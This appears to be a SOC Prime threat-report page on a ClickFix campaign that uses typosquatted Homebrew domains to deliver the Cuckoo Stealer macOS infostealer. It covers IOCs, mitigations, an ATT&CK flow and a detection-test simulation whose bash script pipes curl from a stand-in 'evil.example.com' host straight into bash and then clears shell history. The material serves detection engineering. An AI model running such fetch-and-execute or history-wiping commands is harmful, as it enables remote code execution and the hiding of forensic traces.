SOC Prime Bias: Medium

18 Feb 2026 17:39
newspaper icon hunt.io

Fake Homebrew Typosquats Used to Deliver Cuckoo Stealer via ClickFix

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Fake Homebrew Typosquats Used to Deliver Cuckoo Stealer via ClickFix
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Summary

The report describes a campaign that abuses typosquatted Homebrew domains to lure macOS developers into running malicious “install” commands via the ClickFix technique. A crafted curl one-liner sends victims to attacker-controlled infrastructure, delivering a credential-harvesting loader followed by the Cuckoo Stealer infostealer. The malware persists through a LaunchAgent, strips quarantine attributes, and exfiltrates credentials and wallet data over HTTPS. Detection should focus on curl command patterns and the associated infrastructure.

Investigation

Researchers traced the initial lure to homabrews.org, resolving to 5.255.123.244 in the Netherlands and hosting multiple similar domains (including raw.homabrews.org used for delivery). The downloaded script runs a dscl authonly loop to validate macOS credentials, then retrieves a binary named brew_agent. In the second stage, Cuckoo Stealer creates a LaunchAgent plist, removes quarantine flags, and communicates with C2 using X25519 key exchange with XOR-encrypted payloads. Infrastructure hunting uncovered a network of at least six domains sharing the same hosting IP.

Mitigation

Educate developers to verify Homebrew installation URLs and avoid copy-pasting untrusted commands into Terminal. Enable command-line logging and restrict patterns where curl pulls remote scripts for immediate execution, especially “curl | sh” style one-liners. Endpoint protection should alert on suspicious LaunchAgent creation and quarantine-attribute removal. Network defenses should block known malicious domains and flag traffic to raw.homabrews.org and related hosts.

Response

When a suspicious curl command is detected, isolate the endpoint, capture the script and brew_agent binary, and collect the LaunchAgent plist for analysis. Reset harvested credentials and revoke compromised tokens, especially for browsers, Keychain, and cryptocurrency wallets. Forensically review the hidden BrewUpdater directory, any created shortcuts, and remove the malicious files. Update detections with the extracted IOCs and monitor for reuse of the same infrastructure.

"graph TB %% Class definitions classDef technique fill:#e6f2ff %% Node definitions node_A["<b>Technique</b> – <b>T1659 Content Injection</b><br/><b>Description</b>: Attacker hosts a malicious webpage that mimics a legitimate site to deliver malicious content when a user visits."] class node_A technique node_B["<b>Technique</b> – <b>T1204.004 User Execution: Malicious Copy & Paste</b><br/><b>Description</b>: Victim copies a crafted command from a webpage and executes it in a terminal."] class node_B technique node_C["<b>Technique</b> – <b>T1059.004 Unix Shell</b><br/><b>Description</b>: Use of a Unix shell to download and run a firstu2011stage script."] class node_C technique node_D["<b>Technique</b> – <b>T1555.001 Credentials from Password Stores: Keychain</b><br/><b>Description</b>: Access macOS Keychain to harvest stored credentials."] class node_D technique node_E["<b>Technique</b> – <b>T1555.003 Credentials from Password Stores: Web Browsers</b><br/><b>Description</b>: Extract saved passwords and cookies from web browsers."] class node_E technique node_F["<b>Technique</b> – <b>T1539 Steal Web Session Cookie</b><br/><b>Description</b>: Collect active session tokens from browsers and extensions."] class node_F technique node_G["<b>Technique</b> – <b>T1614.001 System Language Discovery</b><br/><b>Description</b>: Query LANG environment variable to determine system locale and avoid certain regions."] class node_G technique node_H["<b>Technique</b> – <b>T1543.001 Launch Agent</b><br/><b>Description</b>: Install a useru2011level LaunchAgent plist for persistence."] class node_H technique node_I["<b>Technique</b> – <b>T1553.001 Gatekeeper Bypass</b><br/><b>Description</b>: Remove the quarantine attribute with xattr to bypass macOS Gatekeeper."] class node_I technique node_J["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/><b>Description</b>: XORu2011encrypt strings, payloads and configuration to hide malicious content."] class node_J technique node_K["<b>Technique</b> – <b>T1113 Screen Capture</b><br/><b>Description</b>: Capture screenshots silently using the screencapture utility."] class node_K technique node_L["<b>Technique</b> – <b>T1119 Automated Collection</b><br/><b>Description</b>: Recursively harvest cryptocurrency wallets, notes, documents and messaging tokens."] class node_L technique node_M["<b>Technique</b> – <b>T1573 Encrypted Channel</b><br/><b>Description</b>: Perform X25519 ECDH key exchange to create an encrypted C2 channel."] class node_M technique node_N["<b>Technique</b> – <b>T1102.002 Web Service: Bidirectional Communication</b><br/><b>Description</b>: Communicate with the commandu2011andu2011control server over HTTPS."] class node_N technique node_O["<b>Technique</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/><b>Description</b>: Transfer stolen data through the encrypted channel."] class node_O technique node_P["<b>Technique</b> – <b>T1529 System Shutdown/Reboot</b><br/><b>Description</b>: Execute a reboot command when instructed by the attacker."] class node_P technique node_Q["<b>Technique</b> – <b>T1653 Power Settings</b><br/><b>Description</b>: Trigger a system reboot to apply changes or disrupt incident response."] class node_Q technique node_R["<b>Technique</b> – <b>T1070.009 Clear Persistence</b><br/><b>Description</b>: Selfu2011destruct by removing binaries and the LaunchAgent plist."] class node_R technique node_S["<b>Technique</b> – <b>T1564.014 Hide Artifacts: Extended Attributes</b><br/><b>Description</b>: Strip the quarantine attribute to avoid Gatekeeper warnings."] class node_S technique %% Connections showing flow node_A –>|leads_to| node_B node_B –>|leads_to| node_C node_C –>|leads_to| node_D node_C –>|leads_to| node_E node_C –>|leads_to| node_F node_C –>|leads_to| node_G node_C –>|leads_to| node_H node_H –>|enables| node_I node_I –>|enables| node_J node_J –>|enables| node_K node_K –>|enables| node_L node_L –>|enables| node_M node_M –>|enables| node_N node_N –>|enables| node_O node_O –>|enables| node_P node_P –>|leads_to| node_Q node_Q –>|leads_to| node_R node_R –>|leads_to| node_S "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

  • Attack Narrative & Commands:
    An attacker has obtained a malicious PowerShell‑encoded script hosted on a C2 server. To avoid writing files to disk, the attacker streams the script directly into a Bash shell using curl -fsSL and the -c flag. The command is executed interactively from a compromised user account, mimicking a legitimate “click‑fix” installer. The steps are:

    1. Resolve the malicious payload URL (e.g., https://evil.example.com/payload.sh).
    2. Pipe the download into Bash, instructing Bash to execute the content with -c.
    3. The payload performs credential harvesting, creates a hidden file, and then deletes the temporary script (covering T1070.004).

  • Regression Test Script:

    #!/usr/bin/env bash
# -------------------------------------------------
# Simulate malicious macOS installer (ClickFix style)
# -------------------------------------------------
set -euo pipefail

MALICIOUS_URL="https://evil.example.com/payload.sh"

# Stream the payload directly into Bash with -c
curl -fsSL "$MALICIOUS_URL" | /bin/bash -c "$(cat)"

# The payload itself is assumed to perform its malicious actions.
# For the purpose of the test we simply echo a marker.
echo "Malicious payload executed"

  • Cleanup Commands:

    # Remove any files that may have been created by the payload
rm -f /tmp/payload.sh
# Optionally, clear the command history to reduce forensic traces
history -c

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free